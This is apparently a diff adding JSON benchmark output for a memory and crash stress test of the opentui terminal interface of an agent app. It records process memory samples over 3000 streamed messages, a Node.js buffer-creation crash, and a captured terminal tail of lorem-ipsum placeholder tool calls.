lines)◆write_file Labore sit sunt esse. · 2.2s (7 lines) $ terminal Officia fugiat consequat minim. · 2.3s (2 lines)◐7⚕▼Thinking: Mollit pariatur aute │ Labore sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur. │Cupidatat voluptate ullamco labore sit sunt. Mollit pariatur aute quis eiusmod lorem occaecat reprehenderit exercitation. - Reprehenderit exercitation incididunt dolor proident.- Magna amet culpa cillum commodo enim adipiscing.- Deserunt nulla duis veniam.Sed anim excepteur irure nostrud tempor ipsum cupidatat. Nulla duis veniam sed anim excepteur irure nostrud tempor.$terminal Mollit pariatur aute quis. · 1.7s (2 lines)◇read_file Reprehenderit exercitation incididunt dolor. · 1.8s (18 lines) ◦edit_file Magna amet culpa cillum. · 1.9s (7 lines) ◦grep Deserunt nulla duis veniam. · 2.0s (2 lines) ●web_search Irure nostrud tempor ipsum. · 2.1s (18 lines) ◆write_file Labore sit sunt esse. · 2.2s (7 lines) $terminal Officia fugiat consequat minim. · 2.3s (2 lines) ⧉ copy ⚕ ⧉ copy ⚕ ⧉ copy ⚕ - - - const x4 = 74function f4() { return x}⧉ copy ⚕ - - - const x5 = 75function f0() { return x}⧉ copy●9file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915\n throw new Error(`Failed to create optimized buffer: ${width}x${height}`);\n ^\nError: Failed to create optimized buffer: 120x12\n at FFIRenderLib.createOptimizedBuffer (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:14915:13)\n at OptimizedBuffer.create (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:11918:24)\n at TerminalConsole.show (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:21058:44)\n at CliRenderer.<anonymous> (file:///home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/ui-opentui/node_modules/@opentui/core/index-59t85rvq.js:23222:20)\n at process.emit (node:events:509:20)\n at process._fatalException (node:internal/process/execution:190:32)\nNode.js v26.3.0"
|
||||
}
|
||||
@@ -0,0 +1,816 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "mem3000",
|
||||
"ui": "opentui",
|
||||
"config": "otui-uncapped",
|
||||
"mode": "mem",
|
||||
"rep": 2,
|
||||
"run_id": "mq8jzaoz-onls",
|
||||
"utc": "2026-06-10T21:00:39.779Z",
|
||||
"sha": "50e34713b",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": "2G",
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": 100000,
|
||||
"fixture": {
|
||||
"path": "/home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/bench/.cache/fixture-3000.ndjson",
|
||||
"msgs": 3000,
|
||||
"sha256": "0df05a04a611dda68aa07865f21c45b08edc78e0a71d4c8cb2b674729778d96d"
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2370298,
|
||||
"gw_pid": 2370307,
|
||||
"cgroup": "/sys/fs/cgroup/user.slice/user-1001.slice/session-7349.scope",
|
||||
"load_avg_at_start": [
|
||||
0.91,
|
||||
0.63,
|
||||
0.49
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 27,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 33220,
|
||||
"pss_kb": 14193,
|
||||
"private_dirty_kb": 6396,
|
||||
"vmhwm_kb": 33228,
|
||||
"utime_ticks": 0,
|
||||
"stime_ticks": 0,
|
||||
"cg_current": 3181150208,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1032,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 10,
|
||||
"rss_kb": 104900,
|
||||
"pss_kb": 63836,
|
||||
"private_dirty_kb": 48180,
|
||||
"vmhwm_kb": 107872,
|
||||
"utime_ticks": 18,
|
||||
"stime_ticks": 2,
|
||||
"cg_current": 3182235648,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1689,
|
||||
"msgs": 100,
|
||||
"events": 355,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 107280,
|
||||
"pss_kb": 66195,
|
||||
"private_dirty_kb": 50560,
|
||||
"vmhwm_kb": 107872,
|
||||
"utime_ticks": 19,
|
||||
"stime_ticks": 2,
|
||||
"cg_current": 3185168384,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1714,
|
||||
"msgs": 200,
|
||||
"events": 738,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 119640,
|
||||
"pss_kb": 78475,
|
||||
"private_dirty_kb": 62792,
|
||||
"vmhwm_kb": 119756,
|
||||
"utime_ticks": 24,
|
||||
"stime_ticks": 2,
|
||||
"cg_current": 3183779840,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1716,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 119912,
|
||||
"pss_kb": 78747,
|
||||
"private_dirty_kb": 63064,
|
||||
"vmhwm_kb": 119944,
|
||||
"utime_ticks": 24,
|
||||
"stime_ticks": 2,
|
||||
"cg_current": 3183779840,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1717,
|
||||
"msgs": 400,
|
||||
"events": 1432,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 119992,
|
||||
"pss_kb": 78827,
|
||||
"private_dirty_kb": 63144,
|
||||
"vmhwm_kb": 120252,
|
||||
"utime_ticks": 24,
|
||||
"stime_ticks": 2,
|
||||
"cg_current": 3183525888,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 2041,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 31413,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 230864,
|
||||
"pss_kb": 187378,
|
||||
"private_dirty_kb": 170884,
|
||||
"vmhwm_kb": 230864,
|
||||
"utime_ticks": 81,
|
||||
"stime_ticks": 6,
|
||||
"cg_current": 3186503680,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2140,
|
||||
"msgs": 501,
|
||||
"events": 1792,
|
||||
"pty_bytes": 33737,
|
||||
"pty_writes": 15,
|
||||
"rss_kb": 233388,
|
||||
"pss_kb": 189764,
|
||||
"private_dirty_kb": 173220,
|
||||
"vmhwm_kb": 233388,
|
||||
"utime_ticks": 93,
|
||||
"stime_ticks": 7,
|
||||
"cg_current": 3185446912,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2317,
|
||||
"msgs": 601,
|
||||
"events": 2154,
|
||||
"pty_bytes": 35582,
|
||||
"pty_writes": 16,
|
||||
"rss_kb": 274096,
|
||||
"pss_kb": 230408,
|
||||
"private_dirty_kb": 213800,
|
||||
"vmhwm_kb": 274152,
|
||||
"utime_ticks": 120,
|
||||
"stime_ticks": 8,
|
||||
"cg_current": 3185287168,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2542,
|
||||
"msgs": 701,
|
||||
"events": 2496,
|
||||
"pty_bytes": 41569,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 319456,
|
||||
"pss_kb": 275645,
|
||||
"private_dirty_kb": 259036,
|
||||
"vmhwm_kb": 336796,
|
||||
"utime_ticks": 166,
|
||||
"stime_ticks": 13,
|
||||
"cg_current": 3184562176,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 2793,
|
||||
"msgs": 801,
|
||||
"events": 2857,
|
||||
"pty_bytes": 46542,
|
||||
"pty_writes": 21,
|
||||
"rss_kb": 350128,
|
||||
"pss_kb": 306317,
|
||||
"private_dirty_kb": 289708,
|
||||
"vmhwm_kb": 350128,
|
||||
"utime_ticks": 195,
|
||||
"stime_ticks": 14,
|
||||
"cg_current": 3184861184,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 3044,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 47578,
|
||||
"pty_writes": 22,
|
||||
"rss_kb": 383596,
|
||||
"pss_kb": 339785,
|
||||
"private_dirty_kb": 323176,
|
||||
"vmhwm_kb": 383596,
|
||||
"utime_ticks": 224,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 3184898048,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3095,
|
||||
"msgs": 901,
|
||||
"events": 3245,
|
||||
"pty_bytes": 48697,
|
||||
"pty_writes": 23,
|
||||
"rss_kb": 384708,
|
||||
"pss_kb": 340892,
|
||||
"private_dirty_kb": 324288,
|
||||
"vmhwm_kb": 384708,
|
||||
"utime_ticks": 229,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 3184648192,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3195,
|
||||
"msgs": 1001,
|
||||
"events": 3588,
|
||||
"pty_bytes": 50416,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 387812,
|
||||
"pss_kb": 343996,
|
||||
"private_dirty_kb": 327392,
|
||||
"vmhwm_kb": 387840,
|
||||
"utime_ticks": 241,
|
||||
"stime_ticks": 15,
|
||||
"cg_current": 3184648192,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3524,
|
||||
"msgs": 1101,
|
||||
"events": 3928,
|
||||
"pty_bytes": 54393,
|
||||
"pty_writes": 27,
|
||||
"rss_kb": 416784,
|
||||
"pss_kb": 372968,
|
||||
"private_dirty_kb": 356364,
|
||||
"vmhwm_kb": 417092,
|
||||
"utime_ticks": 276,
|
||||
"stime_ticks": 17,
|
||||
"cg_current": 3185565696,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 3925,
|
||||
"msgs": 1201,
|
||||
"events": 4298,
|
||||
"pty_bytes": 57944,
|
||||
"pty_writes": 29,
|
||||
"rss_kb": 449756,
|
||||
"pss_kb": 405940,
|
||||
"private_dirty_kb": 389336,
|
||||
"vmhwm_kb": 449776,
|
||||
"utime_ticks": 321,
|
||||
"stime_ticks": 19,
|
||||
"cg_current": 3184865280,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 4050,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 57944,
|
||||
"pty_writes": 29,
|
||||
"rss_kb": 472700,
|
||||
"pss_kb": 428884,
|
||||
"private_dirty_kb": 412280,
|
||||
"vmhwm_kb": 472764,
|
||||
"utime_ticks": 335,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3184816128,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4199,
|
||||
"msgs": 1300,
|
||||
"events": 4659,
|
||||
"pty_bytes": 59534,
|
||||
"pty_writes": 30,
|
||||
"rss_kb": 477008,
|
||||
"pss_kb": 433192,
|
||||
"private_dirty_kb": 416588,
|
||||
"vmhwm_kb": 477008,
|
||||
"utime_ticks": 350,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3184738304,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4227,
|
||||
"msgs": 1400,
|
||||
"events": 5011,
|
||||
"pty_bytes": 60792,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 478412,
|
||||
"pss_kb": 434596,
|
||||
"private_dirty_kb": 417992,
|
||||
"vmhwm_kb": 478460,
|
||||
"utime_ticks": 355,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3184717824,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4231,
|
||||
"msgs": 1500,
|
||||
"events": 5384,
|
||||
"pty_bytes": 60792,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 478732,
|
||||
"pss_kb": 434916,
|
||||
"private_dirty_kb": 418312,
|
||||
"vmhwm_kb": 479492,
|
||||
"utime_ticks": 356,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3184459776,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4234,
|
||||
"msgs": 1600,
|
||||
"events": 5730,
|
||||
"pty_bytes": 60792,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 479576,
|
||||
"pss_kb": 435760,
|
||||
"private_dirty_kb": 419156,
|
||||
"vmhwm_kb": 479668,
|
||||
"utime_ticks": 356,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3184439296,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4237,
|
||||
"msgs": 1700,
|
||||
"events": 6100,
|
||||
"pty_bytes": 60792,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 479844,
|
||||
"pss_kb": 436028,
|
||||
"private_dirty_kb": 419424,
|
||||
"vmhwm_kb": 479952,
|
||||
"utime_ticks": 356,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3184439296,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4240,
|
||||
"msgs": 1800,
|
||||
"events": 6455,
|
||||
"pty_bytes": 60792,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 480112,
|
||||
"pss_kb": 436296,
|
||||
"private_dirty_kb": 419692,
|
||||
"vmhwm_kb": 480184,
|
||||
"utime_ticks": 356,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3184439296,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4242,
|
||||
"msgs": 1900,
|
||||
"events": 6838,
|
||||
"pty_bytes": 60792,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 480300,
|
||||
"pss_kb": 436484,
|
||||
"private_dirty_kb": 419880,
|
||||
"vmhwm_kb": 480364,
|
||||
"utime_ticks": 357,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3184439296,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 4244,
|
||||
"msgs": 2000,
|
||||
"events": 7151,
|
||||
"pty_bytes": 60792,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 480524,
|
||||
"pss_kb": 436708,
|
||||
"private_dirty_kb": 420104,
|
||||
"vmhwm_kb": 480576,
|
||||
"utime_ticks": 357,
|
||||
"stime_ticks": 20,
|
||||
"cg_current": 3184439296,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 5055,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 60792,
|
||||
"pty_writes": 31,
|
||||
"rss_kb": 664920,
|
||||
"pss_kb": 621104,
|
||||
"private_dirty_kb": 604500,
|
||||
"vmhwm_kb": 664944,
|
||||
"utime_ticks": 473,
|
||||
"stime_ticks": 26,
|
||||
"cg_current": 3184832512,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5383,
|
||||
"msgs": 2100,
|
||||
"events": 7532,
|
||||
"pty_bytes": 64936,
|
||||
"pty_writes": 33,
|
||||
"rss_kb": 669004,
|
||||
"pss_kb": 625188,
|
||||
"private_dirty_kb": 608584,
|
||||
"vmhwm_kb": 669028,
|
||||
"utime_ticks": 506,
|
||||
"stime_ticks": 28,
|
||||
"cg_current": 3184775168,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 5809,
|
||||
"msgs": 2201,
|
||||
"events": 7892,
|
||||
"pty_bytes": 66459,
|
||||
"pty_writes": 34,
|
||||
"rss_kb": 698060,
|
||||
"pss_kb": 654244,
|
||||
"private_dirty_kb": 637640,
|
||||
"vmhwm_kb": 698060,
|
||||
"utime_ticks": 551,
|
||||
"stime_ticks": 30,
|
||||
"cg_current": 3184918528,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 6061,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 68410,
|
||||
"pty_writes": 35,
|
||||
"rss_kb": 715944,
|
||||
"pss_kb": 672128,
|
||||
"private_dirty_kb": 655524,
|
||||
"vmhwm_kb": 716072,
|
||||
"utime_ticks": 579,
|
||||
"stime_ticks": 31,
|
||||
"cg_current": 3184750592,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 6512,
|
||||
"msgs": 2301,
|
||||
"events": 8254,
|
||||
"pty_bytes": 70180,
|
||||
"pty_writes": 36,
|
||||
"rss_kb": 729140,
|
||||
"pss_kb": 685313,
|
||||
"private_dirty_kb": 668720,
|
||||
"vmhwm_kb": 729140,
|
||||
"utime_ticks": 623,
|
||||
"stime_ticks": 33,
|
||||
"cg_current": 3184795648,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 7069,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 71849,
|
||||
"pty_writes": 37,
|
||||
"rss_kb": 759640,
|
||||
"pss_kb": 715813,
|
||||
"private_dirty_kb": 699220,
|
||||
"vmhwm_kb": 759640,
|
||||
"utime_ticks": 682,
|
||||
"stime_ticks": 35,
|
||||
"cg_current": 3184627712,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7243,
|
||||
"msgs": 2401,
|
||||
"events": 8596,
|
||||
"pty_bytes": 73318,
|
||||
"pty_writes": 38,
|
||||
"rss_kb": 760072,
|
||||
"pss_kb": 716245,
|
||||
"private_dirty_kb": 699652,
|
||||
"vmhwm_kb": 760072,
|
||||
"utime_ticks": 700,
|
||||
"stime_ticks": 35,
|
||||
"cg_current": 3185369088,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 7974,
|
||||
"msgs": 2501,
|
||||
"events": 8957,
|
||||
"pty_bytes": 76046,
|
||||
"pty_writes": 40,
|
||||
"rss_kb": 790560,
|
||||
"pss_kb": 746733,
|
||||
"private_dirty_kb": 730140,
|
||||
"vmhwm_kb": 790560,
|
||||
"utime_ticks": 775,
|
||||
"stime_ticks": 38,
|
||||
"cg_current": 3185258496,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 8074,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 76046,
|
||||
"pty_writes": 40,
|
||||
"rss_kb": 790560,
|
||||
"pss_kb": 746733,
|
||||
"private_dirty_kb": 730140,
|
||||
"vmhwm_kb": 790560,
|
||||
"utime_ticks": 785,
|
||||
"stime_ticks": 38,
|
||||
"cg_current": 3185254400,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 8803,
|
||||
"msgs": 2601,
|
||||
"events": 9345,
|
||||
"pty_bytes": 80929,
|
||||
"pty_writes": 42,
|
||||
"rss_kb": 821056,
|
||||
"pss_kb": 777198,
|
||||
"private_dirty_kb": 760636,
|
||||
"vmhwm_kb": 821056,
|
||||
"utime_ticks": 860,
|
||||
"stime_ticks": 40,
|
||||
"cg_current": 3186028544,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 9056,
|
||||
"msgs": 2701,
|
||||
"events": 9688,
|
||||
"pty_bytes": 82978,
|
||||
"pty_writes": 43,
|
||||
"rss_kb": 821896,
|
||||
"pss_kb": 778038,
|
||||
"private_dirty_kb": 761476,
|
||||
"vmhwm_kb": 821904,
|
||||
"utime_ticks": 885,
|
||||
"stime_ticks": 40,
|
||||
"cg_current": 3185565696,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 9079,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 82978,
|
||||
"pty_writes": 43,
|
||||
"rss_kb": 823668,
|
||||
"pss_kb": 779810,
|
||||
"private_dirty_kb": 763248,
|
||||
"vmhwm_kb": 823688,
|
||||
"utime_ticks": 887,
|
||||
"stime_ticks": 40,
|
||||
"cg_current": 3185565696,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 9909,
|
||||
"msgs": 2801,
|
||||
"events": 10028,
|
||||
"pty_bytes": 86325,
|
||||
"pty_writes": 45,
|
||||
"rss_kb": 852852,
|
||||
"pss_kb": 808994,
|
||||
"private_dirty_kb": 792432,
|
||||
"vmhwm_kb": 852868,
|
||||
"utime_ticks": 972,
|
||||
"stime_ticks": 42,
|
||||
"cg_current": 3186216960,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 10086,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 86325,
|
||||
"pty_writes": 45,
|
||||
"rss_kb": 878688,
|
||||
"pss_kb": 834830,
|
||||
"private_dirty_kb": 818268,
|
||||
"vmhwm_kb": 878920,
|
||||
"utime_ticks": 989,
|
||||
"stime_ticks": 45,
|
||||
"cg_current": 3186737152,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 10811,
|
||||
"msgs": 2901,
|
||||
"events": 10398,
|
||||
"pty_bytes": 91739,
|
||||
"pty_writes": 47,
|
||||
"rss_kb": 885784,
|
||||
"pss_kb": 841926,
|
||||
"private_dirty_kb": 825364,
|
||||
"vmhwm_kb": 885800,
|
||||
"utime_ticks": 1063,
|
||||
"stime_ticks": 45,
|
||||
"cg_current": 3188797440,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 11086,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 91739,
|
||||
"pty_writes": 47,
|
||||
"rss_kb": 911912,
|
||||
"pss_kb": 868054,
|
||||
"private_dirty_kb": 851492,
|
||||
"vmhwm_kb": 911912,
|
||||
"utime_ticks": 1091,
|
||||
"stime_ticks": 47,
|
||||
"cg_current": 3191078912,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 11439,
|
||||
"msgs": 3000,
|
||||
"events": 10759,
|
||||
"pty_bytes": 94867,
|
||||
"pty_writes": 48,
|
||||
"rss_kb": 913956,
|
||||
"pss_kb": 870098,
|
||||
"private_dirty_kb": 853536,
|
||||
"vmhwm_kb": 913948,
|
||||
"utime_ticks": 1125,
|
||||
"stime_ticks": 48,
|
||||
"cg_current": 3189575680,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
},
|
||||
{
|
||||
"kind": "done",
|
||||
"t_ms": 11446,
|
||||
"msgs": 3000,
|
||||
"events": 10759,
|
||||
"pty_bytes": 94867,
|
||||
"pty_writes": 48,
|
||||
"rss_kb": 913948,
|
||||
"pss_kb": 870090,
|
||||
"private_dirty_kb": 853528,
|
||||
"vmhwm_kb": 913948,
|
||||
"utime_ticks": 1125,
|
||||
"stime_ticks": 48,
|
||||
"cg_current": 3189575680,
|
||||
"cg_peak": 6536753152,
|
||||
"cg_oom_kill": 0
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 177
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 177
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 177
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "crashed_after_stream",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 7,
|
||||
"signal": 0,
|
||||
"t": 11857
|
||||
},
|
||||
"stream_done": true,
|
||||
"msgs_streamed": 3000,
|
||||
"events_streamed": 10759,
|
||||
"pty_bytes_total": 98672,
|
||||
"pty_data_callbacks": 51,
|
||||
"first_byte_ms": 142,
|
||||
"session_create_ms": 177,
|
||||
"stream_start_ms": 1687,
|
||||
"vmhwm_kb": 913948,
|
||||
"cg_peak": 6536753152,
|
||||
"drain_max_loop_lag_ms": 19,
|
||||
"drain_lag_violations": 2,
|
||||
"drain_ok": false,
|
||||
"digest": null
|
||||
},
|
||||
"pty_tail": "at consequat. Voluptate ullamco labore sit sunt esse aliquip aliqua consectetur officia. - Elit mollit pariatur aute quis.- Occaecat reprehenderit exercitation incididunt dolor proident velit.- Laboris magna amet culpa.Cillum commodo enim adipiscing deserunt nulla duis. Magna amet culpa cillum commodo enim adipiscing deserunt.◦edit_file Aliquip aliqua consectetur officia. · 2.9s (7 lines)⚡grep Elitmollit pratur aut. · 0s ⧉ copy ⚕ ◦edit_file Sit sunt esse aliquip. · 0.9s (7 lines) ◦ grep Fugiat consequat minim elit. · 1.0s (2 lines) ●web_search Quis eiusmod lorem occaecat. · 1.1s (18 lines)◆write_file Dolor proident velit laboris. · 1.2s (7 lines)$terminal Cillum commodo enim adipiscing. · 1.3s (2 lines) ◇ read_file Veniam sed anim excepteur. · 1.4s (18 lines) Ipsum cupidatt volupae ullamo. · 1.5s (7 lines) ◦ grepssealiquip lqua consctetur. · 1.6s (2 lines)⧉ copy⚕Sit sunt esse aliquip aliqua consectetur officia fugiat consequat minim elit mollit pariatur aute. Voluptate ullamco labore sit sunt esse. Tempor ipsum cupidatat voluptate ullamco labore sit. - Fugiat consequat minim elit mollit.- Quis eiusmod lorem occaecat reprehenderit exercitation incididunt.- Dolor proident velit laboris.Magna amet culpa cillum commodo enim adipiscing deserunt nulla duis veniam sed anim. Proident velit laboris magna amet culpa cillum commodo enim adipiscing deserunt nulla duis veniam.◦edit_file Sit sunt esse aliquip. · 0.9s (7 lines)grep Fugiat consequat minim elit. · 1.0s (2 lines)●web_search Quis ismod lorem occaecat ·1.1s (18 lines)◆rite_fileDolor proident vlit lboris. · 1.2s (7$terminal Cillum commoo enim adipiscing32◇rad_fie Veniam sed anim excepteur. · 1.4s (18lines) ◦editIpsum cupidtatvoluate ullamco.· 1.5s (7 lines)grep Essealiquip aliqu conseceur. · 1.6s (2 lines) ⚡web_search Mnim elit mollit pariatur. · 0s 10s │ 